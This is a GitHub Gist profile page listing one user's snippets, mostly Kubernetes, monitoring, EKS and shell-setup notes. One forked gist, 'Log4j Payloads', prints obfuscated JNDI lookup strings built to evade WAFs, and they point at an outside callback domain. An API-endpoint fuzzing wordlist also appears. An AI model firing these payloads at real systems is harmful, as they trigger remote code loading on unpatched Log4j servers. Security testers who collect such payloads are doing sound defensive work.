Skip to content

Instantly share code, notes, and snippets.

View MnifR's full-sized avatar
🎯
Focusing

Raouf MnifR

🎯
Focusing
View GitHub Profile
@MnifR
MnifR / kubernetes_commands.md
Created July 11, 2024 07:42 — forked from edsiper/kubernetes_commands.md
Kubernetes Useful Commands
@MnifR
MnifR / Log4j Payloads
Created December 15, 2021 09:07 — forked from ZephrFish/Log4j Payloads
Collection of WAF evasion payloads
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
@MnifR
MnifR / cka-bookmarks.html
Created November 30, 2021 08:16
cka-bookmarks
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DL><p>
<DT><H3 ADD_DATE="1579618265" LAST_MODIFIED="1582022136" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks Bar</H3>
<DL><p>
@MnifR
MnifR / List of API endpoints & objects
Created August 18, 2021 09:05 — forked from yassineaboukir/List of API endpoints & objects
A list of 3203 common API endpoints and objects designed for fuzzing.
0
00
01
02
03
1
1.0
10
100
1000
@MnifR
MnifR / grafana+prometheus.yaml
Last active July 2, 2021 10:33
grafana+prometheus.yaml
version: '3.1'
volumes:
prometheus_data: {}
grafana_data: {}
services:
prometheus:
image: prom/prometheus
volumes:
@MnifR
MnifR / System Design.md
Created June 11, 2021 10:43 — forked from vasanthk/System Design.md
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
@MnifR
MnifR / eks.sh
Created May 31, 2021 10:59 — forked from vfarcic/eks.sh
####################
# Create a cluster #
####################
# Follow the instructions from https://github.com/weaveworks/eksctl to intall eksctl if you do not have it already
export AWS_ACCESS_KEY_ID=[...] # Replace [...] with the AWS Access Key ID
export AWS_SECRET_ACCESS_KEY=[...] # Replace [...] with the AWS Secret Access Key
@MnifR
MnifR / install-zsh.sh
Last active May 16, 2021 18:46
Automation of the installation of ZSH shell with the OhMyZSH framework, tmux and various plugins and its minimal configuration file. It also includes fonts.
#!/bin/bash
set -o errexit
set -o pipefail
APPS="zsh git curl wget unzip neofetch tmux"
OS=$(source /etc/os-release && echo "${ID}")
DATE=$(date '+%d.%m.%Y_%Hh%M')
# Installation of packages
case ${OS} in
"debian" | "ubuntu" | "linuxmint" | "pop")

Shc takes a script, which is specified on the command line and produces C source code. The generated source code is then compiled and linked to produce a stripped binary executable.

The compiled binary will still be dependent on the shell specified in the first line of the shell code (i.e shebang) (i.e. #!/bin/sh)

user@hostname:~$ sudo vim script.sh
user@hostname:~$ sudo chmod +x script.sh
user@hostname:~$ sudo add-apt-repository ppa:neurobin/ppa